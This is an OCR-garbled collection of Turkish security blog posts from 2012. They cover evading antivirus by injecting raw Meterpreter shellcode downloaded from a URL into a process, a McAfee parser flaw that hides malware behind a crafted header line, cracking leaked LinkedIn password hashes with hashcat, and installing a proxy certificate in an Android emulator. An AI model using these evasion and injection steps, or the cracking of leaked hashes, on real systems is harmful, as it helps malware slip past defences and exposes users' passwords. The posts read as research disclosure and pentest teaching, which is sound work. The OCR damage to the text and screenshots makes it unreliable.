olmasi nedeniyle Metasploit istismar aracint kullanmayi tercih etmektedirler. Metasploit'in en begenilen 6zelliklerinden biri siiphesiz
barindirmig oldugu Meterpreter aracidir. Meterpreter, tamamen istismar edilen hedef islemin (process) i¢inde yani hafizada calisabilen,
hedef sistemin diski ile herhangi bir etkilesimde bulunmadigi i¢in de standart antiviriis yazilimlari tarafindan yakalanmayan, destekledigi
modiiller sayesinde hedef sistemdeki sifrelerin hashlerini toplamaktan, sniffer olarak ¢alismaya, hedef sistemin ekranini kayit etmekten,
arka kapi olarak hizmet vermeye kadar bir ¢ok 6zelligi iizerinde barindiran erigim sisteme erisim saglayan yardimei bir aractir.

Zaman i¢inde Meterpreter'in bu denli giiclii, sinsi olmasi, Antiviris lireticilerinin de goziinden kagmamis ve ¢ogu tiretici Meterpreter'in
yuritiilebilir programinin tespit edilebilmesi i¢in imza veritabanlarin1 giincellemek zorunda kalmislardir. Durum bdyle olunca da
yuritiilebilir Meterpreter programi ile hedef sisteme sizmaya calisan pentesterlar icin Meterpreter'in Antivirlis yazilimlar tarafindan
tespit edilmemesi biiylik 6nem arz etmistir ve penetrasyon testlerinde ¢esitli kodlama (encode) yontemleri ile olusturulan Meterpreter'in
kullanim1 zorunlu hale gelmistir. Kodlama yontemleri Antiviriis yazilimlari tarafindan tanindig1 i¢in bu yontemi tantyan, sezgisel tanima
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yontemi kullanan Antiviriis yazilimlar1 kodlanmis Meterpreter': tantyamasa da programin kodlanmis oldugunu tespit ettigin i¢in alarm
iiretebilmektedir.

Meterpreter, hem kabuk kodunu (shellcode) igeren yiirtitiilebilir program (executable) olarak hem de istismar aracinin (exploit) ham (raw)
kabuk kodu olarak iiretilebilmekte ve kullanabilmektedir. Tek fark, ham olarak {iretilmesi (generate -t raw) durumunda bunu g¢alistiracak
ilave bir programa ihtiya¢ duymaktadir. Aslinda isi yapan kod, ham koddur (payload/shellcode) ve sisteme sizilma kisminda en kilit
noktadir. Fakat mantigin1 anlayamadigim bir nedenden o6tiiri Antiviriis gelistiricileri (41 taneden 5 tanesi harig) yiiriitiilebilir program
icin imza olusturmustur. Durum bdyle olunca da sistemde ¢aligan ve internetten indirdigi ham kodu (6rnek: meterpreter reverse tcp kodu)
indirip hedef isleme (process) enjekte (code injection) eden Code Injection gibi bir arag, Meterpreter'in Metasploit ile haberlesmesini
herhangi bir kodlama (encode) yontemi kullanmadan saglayabilmektedir.

Teoride giizel de pratikte nasil oluyor diye soracak olursaniz;

Oncelikle Metasploit ile hem ham hem de yiiriitiilebilir program olarak Meterpreter olusturalim.

= Development - Metasploit Console _ . _=_!_Q1_Xj

=
| Fle Edt view Help
7

e I i&!-_l|:'J|'Q =

EXITFUNC thread

—-f wmsf rev.bin -t raw

Ardindan ham halini VirusTotal sitesine yiikleyelim. (Rapora buradan ulasabilirsiniz.) 41 Antiviriis yazilimindan sadece 5 tanesi (AVG,
Avast, Symantec, Mcafee GW Edition, GData) kodlanmamis (encode) Meterpreter' tespit edebilmektedir.
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https://www.virustotal.com/file/48e0913bc0cdbe8ca80c06ece80f85742e6447fa0ebc1c59b10e6b66cd94355e/analysis/1343974039/
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S Antivirus scan for at UTC - YirusTotal - Windows Internet Explorer 18] x|

. — b = |
@'.\— Y- I" https:,l’;’www.wrustotal.com,ffile,f489[!913bcDcdbe8caSDcDﬁeceSDF85?423644?Faﬂebc1c59b1036b66cnj|_% | b || || X &% Live Search B

File Edit Wew Favortes Tools Help

.7 Favorites | o Suggested Sites = € | Web Slice Gallery =
3

e fod }’Antivirus scan Far ak UTC - Wi, "’Antivirus scan For ab UTC... X i;-} B - Q_%J - Page » Safety ~ Tools = @v

2 total

SHAZ256: 4820913bcOcdbefcablc06eced0fiav42e6447fa0ebc1c59b1026b66cd34355¢e s

File name msf_rev_bin

L—
Detection ratio: 5/ 41 ‘r 0 0

Analysis date 2012-08-03 06:07:19 UTC { 0 dakika ago )

Antivirus Result Update

AhnLab-V3 - 20120802

AntiVir - 20120803

Antiy-AVL - 20120803

Ayast Win32:Hijack-GL [Tr] 20120802

AVG Win32/Patched. 1A 20120802

BitDefender - 20120803 |
| [T T [ [ [@memet e - [®mw -

Ardindan yiiriitiilebilir program (executable) halini VirusTotal sitesine yiikleyelim. (Rapora buradan ulasabilirsiniz. 41 Antiviriis
yazilimindan sadece 32 tanesi kodlanmamisg (encode) Meterpreter't tespit edebilmektedir.

virus scan for at UTC - YirusTotal - Windows Internet Explorer 18] x|

@'.\— Y- I" https: {fua, virustotalcom/filefc1 2def06a4e2acc 244801 F26e9fd0ca3bb2 a6 3e70a%a5d63ea763244a j[% | B[4 | [ X &% Live Search R~

File Edit Wiew Favortes Tools Help

5.7 Favorites | bt Suggested Sites = € | Web Slice Gallery =
»

23] - ﬂnntivirus scan for at UTC... X i’-ﬂntivirus scan For ak UTC - Wi, i;-} B - Q_%J +~ Page » Safety ~ Tools ~ @v

pal total

SHAZ56: c12def0654e9acc2448c1f26e9fd0ch3bb2a63e70a%abd63eaT763244a52df55a |

File name msf_rev.exe

L—
Detection ratio. 32/ 41 ‘r O 0

Analysis date 2012-08-03 06:07:14 UTC { 0 dakika ago )

Antivirus Result Update

AhnLab-V3 Trojan/¥Yin32 Shell 20120802

AntiVir TR/Crypt. EPACK.Gen2 20120803

Antiy-AVL - 20120803

Awvast Win32:SwPatch [Wrm] 20120802

AVG Win32/Heur 20120802

BitDefender Backdoor.Shell AC 20120803 hd|
|D0wnloading picture https: fjchart. googleapis. comfchartfchs=120x60&cht=gomachco=da0c 1 A, 379F 328chds=-100, 100&ch ’_ ’_ ’_ ’_ ’_ ’_ @ Internet ’v_a_v | H100% - A
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Ornek olarak en giincel imzalara sahip NOD32 Antiviriis yazilimi kurulu olan sisteme belirtilen bir web adresinden ham kodu indiren
ve hedef isleme (process) kod enjeksiyonu yapmak i¢in hazirlamis oldugum Code Injection Tool araci ile enjeksiyon yapalim ve mutlu

sona ulagalim.

File. Edit ‘iew Favorites Tools  Help

JBack A ? | P ! Search | Folders

Address l_‘] Ci\Documents and SettingstAdministratoriDeskbopimst

ame | Size I Type = | Date Modified |
mmsf_rev.bin 1KB EBIMFile 03.058.2012 09:04

omputer scan - ESET NOD32 Anl

Computer scan

Scan completed successfully

Scan completed in 0 seconds.

MNumber of scanned objects:
MNumber of infected objects:
Number of cleaned objects:

oo

Type: BIN

Scan completed successfully
econds (09:16:47-09:16:47)

(@) ESET NOD32 Antivirus

ESET NOD32 ANTIVIRUS 5
Update

7~ Home
£2 Update
o Computer scan . .

Update virus signature database

“w Update is not necessary - the virus signature database is up to date.
4 Update

s

Last successful update: 03.08.2012 10:03:16
JOE Setup Virus signature database version: 7350 (20120802)

Tools d

& Product activation

IOE

o Product activated. Update license details...
Help and support

® » &

Installed version of ESET NOD32 Antivirus:  5.2.9.1

C:“\Documents and Settings“Administrator:Desktop>
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http://www.mertsarica.com/codes/codinj.exe

=+ Development - Metasploit Console - =1

| Fie Edt Yiew Help

it -3
ound job.

1 at Z01z-0

Ready sy

Kod enjeksiyonu i¢in gelistirmis oldugum Code Injection araciburada yer alan adimlar1 harfiyen yerine getirmektedir. Aracin VirusTotal
raporuna da buradan ulasabilirsiniz. Programin iglevi, belirtilen web adresinden indirdigi kodu yine belirtilen PID veya igleme (process)
enjekte etmek ve galistirilmasini saglamaktir.

Sonug olarak mantikli ve anlamli imza setine sahip olmayan Antiviriis yazilimlarinin ¢ok zaman ve efor sarfetmeden birdirbir
oynarcasina atlatilmas1 miimkiindiir. Konuyu kisaca 6zetleyen videoyu izlemenizi tavsiye eder, herkese giivenli giinler dilerim...

Babana Bile Giilvenme

Source: https://www.mertsarica.com/babana-bile-guvenme/
By M.S on July 11th, 2012

=3

For English, click here.

Giinlimiiziin imza tabanli teknolojilerinden biri olan Antiviriis yazilimlarina korii koriine glivenmekte, onlarin da birer yazilim
oldugunu ve her yazilim gibi onlarin da hatalari, zafiyetleri olabilecegini ¢ogunlukla géz ardi etmekteyiz. Halbuki Antiviriis dedigimiz
yazilimlar aslinda belli bir imza setine gore (sezgisel tarama hari¢) hedef dosyalar1 incelemekte ve dogasi geregi hedef dosya
tizerinde yapilan basit degisikliklerden (misal kodlama/encode, paketleme) sistem tizerinde yapilan daha karmasik degisikliklere (misal
tasarimsal hatalar1 istismar etme) kadar cesitli yontemler ile gogu zaman kolaylikla atlatilmaktadirlar. Cogunlukla kodlama ile atlatma
yontemlerine sikca rastladigimiz bu giinlerde tasarimsal veya mimari hatalardan, zayifliklardan faydalanarak atlatma yontemlerine gok
sik rastlanmamaktadir.

Gegtigimiz giinlerde zararli bir yazilim analizi gergeklestirirken Mcafee VirusScan Enterprise Antivirus yaziliminda raporlamadan zararli
yazilim tespitine kadar iki dnemli noktada tutarsiz sonuglar {iretmesine neden olan bir hata,zafiyet kesfettim. Yaptigim incelemeler
neticesinde bu hatanin/zafiyetin, antivirus yazilimmda bulunan ayrigtiricinin (parser) dosyalari incelerken 6zel bir satir1 dikkate
almasindan kaynaklandigini diisliniiyorum.

Hataya neden olan bu gizemli satir nedir diye soracak olursaniz, HTTP protokiiliine ait bir baslik (content-disposition ve filename) ile
ZIP dosyasinin bagliginin (header) birlesiminden olusan bir satir oldugunu sdyleyebilirim;
Content-Disposition: inline; filename=setup.exe....PK........

Normalde web ile iligkili dosyalart (misal html) bu sekilde ayrigtirmasini bekledigimiz Antivirus yazilimi her ne hikmetse inceledigi tim
dosyalarda da bu gizemli satir1 dikkate alarak dosya iizerinde inceleme gergeklestirmektedir. Durum bdyle olunca da bu gizemli satir1
kullanarak zararli bir yazilimi bu antiviriis yazilimindan kagirmak, hatali aksiyon raporu iiretmesini (sildim dedigi bir zararli yazilim1
aslinda silememesi) saglamak ve durum raporunda sahte dosya ismi gostermesini saglamak miimkiin olmaktadir.

Bu hatanin, zafiyetin istismar edilebilecegi senaryolardan bazilarimin iizerinden kisaca gegecek olursak;

 Ornegin internetten temin ettigimiz o meshur Aurora istismar kodunun basina bu sihirli satir1 ekleyip taratacak olursak antivirus
yazilimi tarafindan tespit edilemedigini gérebiliyoruz.
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* Bunun disinda iki adet zararli yazilim ile gergeklestirebilecegimiz bagka bir senaryoda ise zararli yazilimlardan bir tanesi Contagio
Malware Dump sitesinden temin ettigimiz APT 1104statment.pdf zararli PDF dosyas: digeri ise Honeypot sistemi iizerinden
temin ettigimiz ve Blackhole istismar kiti tarafindan kullanilan 55993.jar zararli JAR (CVE-2012-0507) dosyas1 olsun. Her iki
dosyay1 da ayr1 ayr1 bu antivirus yazilimi ile taratacak olursak antivirus yazilimin basariyla bu zararl yazilimlari tespit ettigini
gorebiliyoruz ancak sihirli satir1 JAR dosyasinin basina ekledikten ve iki dosyay1 tek bir zip dosyasi haline ¢evirdikten sonra
taratacak olursak sadece 55993.jar dosyasinin tespit edildigini diger dosyanin ise tespit edilemedigini gorebiliyoruz. Ayrica her ne
kadar antiviriis yazilim1 bize 55993 jar dosyasinin silinmis oldugunu sdylemis olsa da zip dosyasinin i¢ine baktigimizda aslinda
dosyanin birebir orada oldugunu gorebiliyoruz.

* Son olarak Contagio Malware Dump sitesinden temin ettigimiz APT 1104statment.pdf zararli PDF dosyasinin basina sihirli
satirimizi koyacak ve filename kismina istedigimiz degeri belirtecek olursak tarama sonucunda zararli yazilimimn adinin dosya
adindan farkli olarak goriintiilendigini ve raporlandigini gérebiliyoruz.

Ozellikle istismar kitlerinin (exploit kits) sifirmnci giin zafiyetlerini istismar ettigi, giiglii gizleme (obfuscation) ydntemlerine bagvurarak
kendilerini imza tabanli saldir1 tespit ve zararl yazilim tespit teknolojilerden basariyla gizleyebildigi su giinlerde, yazilimlarda yapilan
bu tiir basit hatalar da, kullanicilarin kolaylikla kandirilmasina ve zararli yazilimlarin sistemlere daha kolay bulagmasina imkan
taniyabilmektedir. Tavsiyem sadece ve sadece istemci sistemlerinde galisan imza tabanli teknolojilere giivenmek yerine ilave olarak
ag trafiginin gdzlenmesine yonelik modern teknolojilerden de (kum havuzu analizi gergeklestirebilen ag giivenlik izleme cihazlari)
faydalanilmasi olacaktir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

Hackedin

Source: https://www.mertsarica.com/hackedin/
By M.S on June 7th, 2012

=3,

Bildiginiz iizere gectigimiz giin 150 milyondan fazla iiyesi bulunan Linkedin sosyal agmin hacklendigi, 6.46 milyon iiyesine ait
oldugu o6ne siiriilen ve icinde SHA-1 ile hashlenmis sifreleri barindiran dosyanin bir Rus sitesinde kesfedildigi ortaya ¢ikti. Benim gibi
milyonlarca iiye haberi duyar duymaz apar topar sifrelerini degistirmek i¢in zamanla yarigmaya basladi. Her ne kadar dosya iginde
SHA-1 ile hashlenmis sifreler disinda baska bir bilgi yer almamis olsa da Linkedin'i hack eden art niyetli bilgisayar korsanlarinin (black
hat) bagka hangi bilgileri ele ge¢irdigi bilinmiyor. (Her ne kadar sifremizi degistirmis olsakta SHA-1 ile hashlenmis olan sifrelerin
hangi zafiyetin istismar edilmesi ile ele gegirildigi bilinmedigi i¢in art niyetli bilgisayar korsanlarinin tekrar bu bilgileri ele gegirip
geciremeyecekleri bilinmiyor bu nedenle olay netlik kazanana dek Linkedin iyelerinin sifrelerini kendi giivenlikleri igin gilin asir1
degistirmeleri yerinde olur.)

Bildiginiz gibi art niyetli bilgisayar korsanlarmin (black hat) bu bilgileri ele gegirdikten sonra yapacaklari ilk is SHA-1 ile hashlenmis
sifreleri orjinal yani okunabilir haline (password recovery) ¢evirmektir bu nedenle sifre secerken sozlilkte yer almayan kelimelerin
kullanilmasi (olusturulan sifrenin biiylik ve kiiciik harf, 6zel karakter ($, #, ? vs.) icermesi ve 8 haneden uzun olmasi tavsiye edilir) bu
tiir vakalarda ¢alinan, ele gegirilen sifrelerin okunakli halini (clear text) art niyetli kigilerin eline gegmesini olduk¢a zorlastirmaktadir.
Art niyetli bilgisayar korsanlarinin internetten temin ettikleri herhangi bir Tiirkce sozliik ile hashlenmis bu sifrelerin kag tanesini orjinal
haline ¢evirebileceklerini 6grenmek i¢in ayni yontemi izlemeye ve zayif sifreleri tespit etmeye karar verdim.

Sifre kirma islemi i¢in hem hiz hem de performans agisindan basarili buldugum ve giivenlik testlerinde kullandigim hashcat aracini,
sozliik dosyasi olarakta 2010 yilinda TDK Biiyiik Tiirk¢e Sozliik'ten faydalanarak olusturmus oldugum hem Tiirk¢e karakterleri iceren
hem de icermeyen iki ayr1 Tiirk¢e sozliik dosyasindan (dictionary file) faydalandim.

Isleme baslamadan dnce SHA-1 ile hashlenmis sifreleri iceren dosyay1 incelendigimde 40 bayt (byte) olan SHA-1 hashlerinden (160
bit) bazilarinin ilk 5 baytinin 00000 oldugunu gdérdiim. Bunun sebebinin Linkedin'i hackleyen art niyetli kisi veya kisilerin orjinal haline
cevirebildikleri sifreleri bu sekilde igaretledigi tahmin ediliyordu. 6.5 hashlenmis sifrenin 3.5 milyonunun bu sekilde olmasi sifre kirma
araglarinin sadece geriye kalan 3 milyon hash {izerinde sifre ¢evirme islemini gergeklestirebilmesi anlamina geliyordu ¢iinkii 00000 ile
baslayan bir hash bu araglar tarafindan taninamadig1 i¢in aslinda ¢opten bagka birsey degildi ancak diin aksam hashcat'in bu 5 haneyi
de sifre ¢evirme islemine dahil edebilen 6zel bir siiriimii yayinladi.

Bu siirtim ile hashcat'in herhangi bir kuralindan (attack modes) faydalanmayarak gergeklestirmis oldugum ilk testte aracin 6458020
hash'in 3355 tanesini (%0.05) basartyla orjinali haline ¢evrilebildigini gérdiim.
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Windows\system32\cmd.exe

“hashcat>hashcat—cli3d2 . exe hash-mode 158 ——output—file C:\hashcat\linkedin_tl,
xt C:shashcathcombo_not.txt C:shashcatssozluk.txt C:zhashcatssozluk_tr_karakt
er.txt
Initializing hashcat vB.3%? by atom with 8 threads and 32Zmb segment—-size...

MOTE: press enter for status—screen

Added hashes from file C:“hashcat“combo_not.txt: 6458828 (1 salts>
Input .Mode: Dict (C:“hashcatssozluk.txt?
11 (segment)>, 198775 {words>. 1897264 (bytes)
3355/64586828 hashes. B-/1 salts
32.4%k plains, 32.4%k words
198775198775 (1808.88:>
AA:AA:00:9

Dict ¢ hashcatssozluk_tr_karakter.txt>
171 (segment), 198775 {(words). 1897264 {(bytes)
3355/6458828 hashes. Brs1 salts

Speedrssec.: 498.3%9k plains,. 498.39k words

Progress. 1928775-198775 (180.88::>

Running. . = =

Estimated.: —

Started: Thu Jun B7 1

Stopped: Thu Jun B7 1

W C\hashcat\linkedin_tr.txt - Notepad++ .

=8| x|
Ele Edt Jearch Yew Encodng (anguage Sefings Maco Run Pugns Window 7 X
Ha =g L o¢Cc a%| ¢ = = E ORCRDE "R =R -
=
-2
Mormal text fie length : 163526 lines : 3356 Ln:335% Col:1 Sel:0 INS

Combinator kuralindan (sozliikte yer alan her bir kelimenin bir digeriyle birlestirilerek de kullanilmasi) faydalanarak gerceklestirmis

oldugum ikinci testte ise aracin 6458020 hash'in 11953 tanesini (%0.18) basariyla orjinali haline ¢evrilebildigini gérdim.

Windows\system32\cmd.exe |

hashcat >hashcat—cli32.exe —hash-mode 158 ——output—file C:\hashcat\linkedin_tl,
r.txt —rules—file C:\hashcatsrules\combinator.rule C:zhashcat™combo_not.txt C:v
hashcatssozluk.txt C:\hashcatssozluk_tr_karakter.txt
Initializing hashcat vB.3%? by atom with 8 threads and 32Zmb segment—size...

MOTE: press enter for status—screen

Added hashes from file C:“hashcat“combo_not.txt: 6458828 (1 salts>
Added rules from file C:shashcat“rulesscombhinator.rule: 48
Input .Mode: Dict {(C:vhashcatssozluk._txt)
Index.... 171 {(segment), 198775 {(words). 1897264 {(bytes)
Recovered.: 11953,6458828 hashes, B/1 salts
Speedrssec.: 388.85k plains, 7.72k words
Progress. 198775198775 <180.88::>
Running. . BB:00:08:24
Estimated.: —— =
Input .Mode: Dict ¢ hashcatssozluk_tr_karakter.txt)
171 {(segment), 198775 {(words). 1897264 {(bytes)
1195364586828 hashes. B-1 salts
5921.75k plains,. 14.79k words
198775198775 <100.88::>
AB:80:80:13

Started: Thu Jun B7 1 9:13 2812
Stopped: Thu Jun B7 18:36:85 2812
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Sozliikte yer alan basit kelimelerin sifre olarak kullanilmas1 durumunda sifrelerin art niyetli bilgisayar korsanlar1 tarafindan ¢ok kisa
siirede internetten temin edilebilen sozliikler ile rahatlikla kirilabilecegini hi¢bir zaman unutmayin ve olabildigince giicli sifreler
(olusturulan sifrenin biiyiik ve kiiciik harf, 6zel karakter ($, #, ? vs.) igermesi ve 8 haneden uzun olmasi) kullanmaya gayret edin.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

Giivenlik Testlerinin Onemi

Source: https://www.mertsarica.com/guvenlik-testlerinin-onemi/
By M.S on June 1st, 2012

e

Hayatimizi dijital ortamlarda siirdiirmeye bagladigimiz bu ¢cagda kisisel verilerimize verdigimiz 6nem de git gide artmaktadir. Art niyetli
kisiler tarafindan firmalardan ¢alinan miisteri bilgilerinin ¢esitli sitelerde sayfa sayfa yaymlandigi ve/veya para karsiligi satildigi su
giinlerde miisteri olarak dijital ortamda aldigimiz hizmetlerden kullandigimiz uygulamalara kadar bir ¢ok noktada giivenligi ister istemez
sorgular ve giivenligimize 6nem verdigini bildigimiz, duydugumuz ve giivendigimiz firmalar ile ¢alisir hale gelmis bulunmaktayiz.

Miisteriler tarafindan giivenligin sorgulanir hale gelecegini, yilda bir veya iki defa giivenlik testi yaparak veya giivenlik testi hizmeti
alarak miisteri giivenliginin saglanamayacagini, giivenligin kurumsal rekabet giiciinii arttiran bir unsur olacagini dngoren vizyoner
firmalar yillar 6ncesinden giivenlige yatirim yapmaya basladilar. Sadece giivenlik cihazlarina ve yazilimlarina yatirim yapmakla
kalmayip ethical hackerlar, sertifikali siber giivenlik uzmanlar1 istihdam ederek, yetistirerek 6zellikle giivenlik testleri (vulnerability
assessment, penetration testing) basta olmak tlizere uzmanlik isteyen bir¢ok alanda (Bilgisayar Olaylar1 Miidahale, Adli Bilisim Analizi
vb.) kendilerinden de faydalanmaya basladilar.

Bu vizyona sahip olmayan firmalar giivenlik testlerini, giivenlik zafiyeti tespit eden ve raporlayan Nessus ve benzeri araglar ile, ayn1
zamanda sistem ydneticiligi de yapan veya on isi birden yiiriiten bir ¢alisanin yan is olarak da yapabilecegi siradan bir is olarak goriirlerdi
ancak ne zaman ki sistemleri, uygulamalari, altyapilar art niyetli kisilerin hedefi olmaya ve kayiplar yasanmaya baglad1 iste o zaman
giivenlik testlerinin hackerlarin bilgi ve becerilerine sahip olmayan calisanlar tarafindan gergeklestirilmesi durumunda yapilan testin
firmaya tam anlamryla bir katma deger saglamadigini tecriibe ederek 6grenmis oldular.

Miisteri agisindan bakildiginda eger bir firma biinyesinde siber giivenlik uzmani, ethical hacker bulunduruyor ise miisterilerine
verdigi mesaj ¢ok agiktir, "Giivenligi(n/m)iz igin galistyoruz". (Ornegin Google firmasinin giivenlige verdigi dnem, Tavis Ormandy,
Michal Zalewski gibi giivenlik diinyasindan iki 6nemli isme biinyesinde yer verdiginden rahatlikla anlagilabilmektedir.) Bunun nedeni
hackerlarin (black hat, grey hat) sahip olduklar1 bilgi ve beceriler ile giivenlik testi gerceklestirebilen bu uzmanlar, hackerlarin goziiyle
sistemleri, uygulamalari, aglar1 denetleyebilmekte, giivenlik zafiyetlerini tespit edebilmekte, zafiyetleri ortadan kaldirmak i¢in ¢éziim
oOnerileri iiretebilmekte kisaca firmanin hack edilme dolayisiyla miisteri bilgilerinin ¢alinarak kotiiye kullanilma ihtimalini en aza
indirgeyebilmektedirler. Ayrica bu uzmanlar giivenlik testi gergeklestirmenin yanisira dis firmadan alinacak giivenlik testi hizmeti igin
firma se¢iminde (penetrasyon testi hizmeti adi altinda sadece Nessus ¢iktis1 veren firmalarin elenmesi) ve hizmetin degerlendirilmesinde
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(hatali risk derecelendirmesinin tespiti (diisiik seviyedeki bulgularin yiiksek seviye olarak raporlanmasi), hatali (false positive) bulgularin
tespiti) katki saglamaktadirlar.

Firma agisindan bakildig1 zaman ise giivenlik testlerinin aslinda bir firma i¢in birden fazla artis1 bulunmaktadir. Giivenlik testleri;

* Firmanin hacklenme ihtimalini biiyilik oranda azaltir.
 Firma i¢inde giivenlik farkindaligini arttirir.
¢ Riskli noktalarin tespit edilmesini sagladigi icin risk yénetimi yapilmasini saglar.

* Hacklenmek, firmalarin itibarin1 ve marka degerini zedeleyebildigi gibi iflaslarina da neden olabilmektedir bu nedenle giivenlik
testleri is siirekliliginin saglanmasina yardimci olur.

e IS0 27001, PCI DSS gibi standartlar yilda en az bir defa giivenlik testi yapmay1 zorunlu tuttugu i¢in bu tiir standartlar ile uyumlu
olmaya yardimeci olur.

Sonug olarak giliniimiizde sadece giivenlik teknolojilerine yatirim yapan, biinyesinde siber giivenlik uzmani, ethical hacker
bulundurmayan veya yetistirmeyen firmalarin, uzun vadede, siirekli artig gosteren siber tehditler karsisinda ayakta kalmasi, miisterilerine
giivenli hizmetler ve {irlinler sunmasi, rakipleri ile rekabet etmesi ve piyasada tutunmasi olduk¢a zordur. Umarim ¢agin gerisinde kalmis
olan bu firmalar en kisa zamanda bu uzmanlari istihdam etmeye baslayarak hem bizler yani miisteriler hem de kendileri i¢in ¢aga ayak
uydurarak giivenli hizmetler/servisler vermeye, uygulamalar, iiriinler gelistirmeye baglarlar.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim...

Android Uygulamalarinda Giivenlik Testi

Source: https://www.mertsarica.com/android-uygulamalarinda-guvenlik-testi/
By M.S on May 21st, 2012

=

Subat aymda Gartner tarafindan yayimlanan bir rapora gore diinya genelinde 2011 yilinin 4. ¢eyreginde satilan akilli telefonlarin
%50.9'unda Android isletim sisteminin, %23.8'inde ise IOS isletim sisteminin kurulu oldugunu gériiyoruz. Web siteleri, uygulamalar1
iizerinden vermis olduklar1 hizmetlerin tamamina yakinini mobil uygulamalar ile mobil platformlar iizerinden de vermek icin ugras veren
irili ufakli bircok firma, eskiden sadece iOS i¢in uygulama gelistirirken pazar payint bu kadar yiikselten Android karsisinda kayitsiz
kalamayarak Android isletim sistemi i¢in de (misal Instagram) uygulama gelistirmek durumunda kaldilar.

i0S igletim sistemi igin gelistirilen uygulamalara kiyasla Android isletim sistemi i¢in gelistirilen uygulamalarin kaynak koduna
gevrilebilir olmasi, iicretsiz ve platform bagimsiz bir emulator sayesinde daha kolay analiz edilebilir olmasi beraberinde art niyetli
kisilerce de giivenlik zafiyetlerinin daha kolay tespit edilebilmesine ve istismar edilebilmesine imkan tanimaktadir.

Gilinlimiizde uyumluluktan 6te miisteri giivenligi, marka degeri ve itibari i¢in ag, sistem, web uygulamalarini vs. giivenlik testine tabi
tutan firmalar i¢in mobil uygulamalarin da test edilmesi kaginilmaz oldugu i¢in bu yazimda Android uygulamalarini test ederken giivenlik
adina dikkat edilmesi gereken noktalardan (ag trafigi analizi/manipiilasyonu, kaynak kodu incelemesi, tersine gevirme (disassembling),
dosya sistemi incelemesi) birkacina dikkat ¢ekmek istedim.

Ag Trafigi Analizi:

* Sifreli kanal iizerinden (SSL) haberlesmeyen Native (Java ile yazilmis) ve native olmayan uygulamalarin trafigini analiz etmek
icin hedef uygulamay1 Android SDK ile gelen emulatore yine Android SDK ile gelen adb (Android Debug Bridge) araci ile
yiiklemek (adb install uygulama.apk) veya BlueStacks'in App Player araci ile ¢aligtirmak ve Wireshark araci ile trafigi analiz
etmek miimkiindiir. (App Player, APK uzantili tim Android uygulamalarini Windows iizerinde c¢alistirmaya yarayan gercekten
¢ok faydali oldugunu diisiindiigiim bir aragtir, basit analizler i¢in mutlaka denemenizi tavsiye ederim.)
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¢ Eger ki uygulama native ise ve sifreli kanal {izerinden haberlesiyor ise bu durumda App Player iizerinde ¢alisan bir Wireshark
ile trafigi analiz etmek pek miimkiin degildir. Ortadaki adam saldirisini (MITM) gerceklestirmek i¢in yaratilmig olan Android
Virtual Device (AVD)'in herhangi bir proxy aracina (Burp Suite veya Charles Proxy) ydnlendirilmesi durumunda da bu defa
native uygulama sertifika hatasini gordiigii anda iletisimi kurmayacaktir. Durum boéyle olunca da tek ¢6ziim yolu Charles
Proxy aracint kullanmak ve Charles Proxy aracinin kok sertifikasini Android isletim sisteminin giivenilir kok sertifikalarina
eklemek olacaktir. Bu sayede Charles Proxy emulatdr ile web sunucusu arasina girmeye calistigi esnada liretmis oldugu sahte
sertifika, native uygulama tarafindan reddilmeyecek ve baglanti kesilmeyecektir. Emulator yeniden baslatildiginda giivenilir kok
sertifikalar eski, orjinal haline dondiigii i¢in de sertifika sisteme yiiklendikten sonra sistemin imaj1 yaffs2 araci ile alinarak,
AVD yeniden baglatildiginda bu sistem imajinin kullanilmasi saglanarak Charles Proxy aracinin kok sertifikasinin sistemde kalici
olmasi saglanacaktir. Sifreli trafik analizi i¢in asagidaki ekran goriintiisiinde belirtilen tiim direktiflerin izlenmesi ve komutlarin
calistirilmasi Charles Proxy ile sifreli trafigin analiz edilebilmesini saglayacaktir.
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b ||| T B - |¥[@] 87| X&)

mert Sh'umulml W]M|m|w|dm|mu|
=1 http: //api SN ret Name | Value |
v = oo I r
....| % il tools/ Status Faied
#- g notification/ m o t was F t tificat ed

request was made. Possibly the certificate was reje

wl & 8:39

gl http: /fwww.google-analytics. com Response Code .
= hetps: // Protocol HTTP/L.1
g <defouln ! Method CONNECT
A Q Copy URL Content-Type -
- d Chient Address /192.168.1.34
H Remote Address
a Repeat = Timing
Request Start Time 29.04.2012 11:35:58
G Repeat Advanced...
wWw'e r it u i Request End Time
q y -/ e Response Start Tme
& Valdate Response End Time
a s |d'fgh’j k'l L3 Sort By Name Duraion i
Request Duration - —d
' Ignore Response Duration
4 72 x/c'vb nmea T Cear Latency -
ﬁ: Clear Others Speed 0,00 KBfs
Response Speed -
nz @ ; v S55L Proxying - Size :I
Breakpoints
GET 1888478438 utmes=UTF-8Lutmsr=120m 4804 utmul=en-USLutmp=%2F logindutmac=UA-3505012-8Lutmeoo=__utma%d
No Caching
8| komutlar.txt - Notepad ) 101 x]
File Edit Format Wiew Help
Yarat: AVD =]

Indir: http://bouncycastle.org/download/bcprov-jdk16-141. jar
Kopyala: C:\Program Files‘Java\jre6\lib‘\ext‘\bcprov-jdkl6-141. jar
Indir: http://www. charlesproxy. com/ss1.zip
calistir:
emulator -avd Hack4Career
adb pull /system/etc/security/cacerts.bks cacerts.bks
keytool -keystore cacerts.bks -storetype BKS -provider
org. bouncycastle. jce. provider. BouncyCastleProvider
-storepass changeit -importcert -trustcacerts -alias somealias -file
charles-proxy-ssl-proxying-certificate.crt
-noprompt
adb remount
adb shell chmod 777 /system/etc/security/cacerts.bks
adb push cacerts.bks /system/etc/security/
Indir: http://android-group-korea.googlecode.com/files/mkfs.yaffs2.arm
Calistir:
adb push mkfs.yaffs2.arm /data/data/temp/mkfs.yaffs2
adb shell chmod 777 /data/data/temp/mkfs.yaffs2
adb shell
# /data/data/temp/mkfs.yaffs2 /system /sdcard/system.img
/data/data/temp/mkfs.yaffs2 /system /sdcard/system.img
mkfs.yaffs2: android YAFFS2 Tool,Build by PowerGuI
at http://www.openhandsetalliance.org.cn
Building...
Build ok.
# exit
exit
adb pull /sdcard/system.img system.img
Kopyala: system.img -> C:‘\Users‘\Mert'.android\avd\Hack4Career. avd

emulator -avd Hack4Career -http-proxy http://192.168.1.34:8888
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[N 5554:Hack4Career

Girig Yap

Uye degilim, kaydolmak istiyorum

Facebook hesabi ile baglan

T IR
'l‘ harle Session 1 * .jmﬁ
Fle Edit View Proxy Toos Window Help
ok |w| M| T M o[ @8 72]v] %@
Structure | Sequence | Overview Request | Response | Summary | Chart | Notes |
-l htto: /a0l S net e mert
